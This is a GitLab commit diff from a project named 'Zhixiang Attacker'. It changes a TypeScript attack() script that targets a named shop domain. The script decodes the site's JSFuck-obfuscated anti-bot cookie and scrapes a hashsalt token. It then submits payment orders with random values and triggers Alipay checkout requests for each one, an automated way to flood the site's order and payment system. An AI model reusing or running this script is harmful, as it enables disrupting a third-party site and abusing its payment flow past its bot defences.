Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Support
Keyboard shortcuts
?
Submit feedback
Sign in / Register
Toggle navigation
Z
Zhixiang Attacker
Project overview
Project overview
Details
Activity
Releases
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Locked Files
Issues
0
Issues
0
List
Boards
Labels
Service Desk
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Security & Compliance
Security & Compliance
Dependency List
License Compliance
Packages
Packages
List
Container Registry
Analytics
Analytics
CI / CD
Code Review
Insights
Issues
Repository
Value Stream
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
nanahira
Zhixiang Attacker
Commits
eb1d2e36
Commit
eb1d2e36
authored
Nov 05, 2021
by
nanahira
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
axios
parent
829cdd37
Changes
1
Hide whitespace changes
Inline
Side-by-side
Showing
1 changed file
with
35 additions
and
33 deletions
+35
-33
index.ts
index.ts
+35
-33
No files found.
index.ts
View file @
eb1d2e36
...
...
@@ -14,16 +14,14 @@ function parseJsFuck(code: string): string {
async
function
attack
()
{
console
.
log
(
'
Requesting loading page.
'
);
const
loadingPageResponse
=
await
got
(
'
https://paperboxshop.top/index.php
'
,
{
http2
:
true
,
responseType
:
'
text
'
,
const
loadingPage
=
await
got
(
'
https://paperboxshop.top/index.php
'
,
{
headers
:
{
'
User-Agent
'
:
'
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
'
,
},
});
console
.
log
(
loadingPage
Response
.
httpVersion
);
const
jsFuckMatch
=
loadingPage
Response
.
body
.
match
(
})
.
text
()
;
console
.
log
(
loadingPage
);
const
jsFuckMatch
=
loadingPage
.
match
(
/setCookie
\(
'sec_defend',
?\(([\[\]\(\)
!
\+\{\}]
+
)\)\)
;setCookie/
,
);
if
(
!
jsFuckMatch
)
{
...
...
@@ -34,15 +32,18 @@ async function attack() {
console
.
log
(
`sec_defend:
${
sec_defend
}
`
);
console
.
log
(
'
Requesting main page.
'
);
const
Cookie
=
`sec_defend=
${
sec_defend
}
;`
;
const
mainPage
=
await
got
(
'
https://paperboxshop.top/index.php
'
,
{
http2
:
true
,
responseType
:
'
text
'
,
headers
:
{
Cookie
,
'
User-Agent
'
:
'
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
'
,
const
{
data
:
mainPage
,
headers
:
mainPageHeaders
}
=
await
axios
.
get
(
'
https://paperboxshop.top/index.php
'
,
{
responseType
:
'
text
'
,
httpsAgent
:
agent
,
headers
:
{
Cookie
,
'
User-Agent
'
:
'
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
'
,
},
},
}).
text
(
);
);
const
hashsaltMatch
=
mainPage
.
match
(
/var hashsalt=
([\[\]\(\)
!
\+\{\}]
+
)
;/
);
if
(
!
hashsaltMatch
)
{
console
.
error
(
`hashsalt not found.`
);
...
...
@@ -51,35 +52,36 @@ async function attack() {
const
hashsalt
=
parseJsFuck
(
hashsaltMatch
[
1
]);
console
.
log
(
`hashsalt:
${
hashsalt
}
`
);
console
.
log
(
'
Submitting payment.
'
);
const
payResult
=
await
got
.
post
(
'
https://paperboxshop.top/ajax.php?act=pay
'
,
{
const
{
data
:
payResult
}
=
await
axios
.
post
<
{
code
:
number
;
msg
:
string
;
trade_no
:
string
;
}
>
(
'
https://paperboxshop.top/ajax.php?act=pay
'
,
qs
.
stringify
({
tid
:
1
,
inputvalue
:
cryptoRandomString
({
length
:
12
,
type
:
'
alphanumeric
'
}),
num
:
Math
.
ceil
(
Math
.
random
()
*
10000
),
hashsalt
,
}),
{
responseType
:
'
json
'
,
http2
:
true
,
form
:
{
tid
:
1
,
inputvalue
:
cryptoRandomString
({
length
:
12
,
type
:
'
alphanumeric
'
}),
num
:
Math
.
ceil
(
Math
.
random
()
*
10000
),
hashsalt
,
},
httpsAgent
:
agent
,
headers
:
{
Cookie
,
'
User-Agent
'
:
'
Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0
'
,
},
})
.
json
<
{
code
:
number
;
msg
:
string
;
trade_no
:
string
;
}
>
();
},
);
if
(
payResult
.
code
)
{
console
.
error
(
`Payment failed:
${
payResult
.
code
}
${
payResult
.
msg
}
`
);
return
;
}
await
go
t
(
`https://paperboxshop.top/other/submit.php`
,
{
responseType
:
'
text
'
,
http
2
:
true
,
searchP
arams
:
{
await
axios
.
ge
t
(
`https://paperboxshop.top/other/submit.php`
,
{
responseType
:
'
arraybuffer
'
,
http
sAgent
:
agent
,
p
arams
:
{
type
:
'
alipay
'
,
orderid
:
payResult
.
trade_no
,
},
...
...
Write
Preview
Markdown
is supported
0%
Try again
or
attach a new file
Attach a file
Cancel
You are about to add
0
people
to the discussion. Proceed with caution.
Finish editing this message first!
Cancel
Please
register
or
sign in
to comment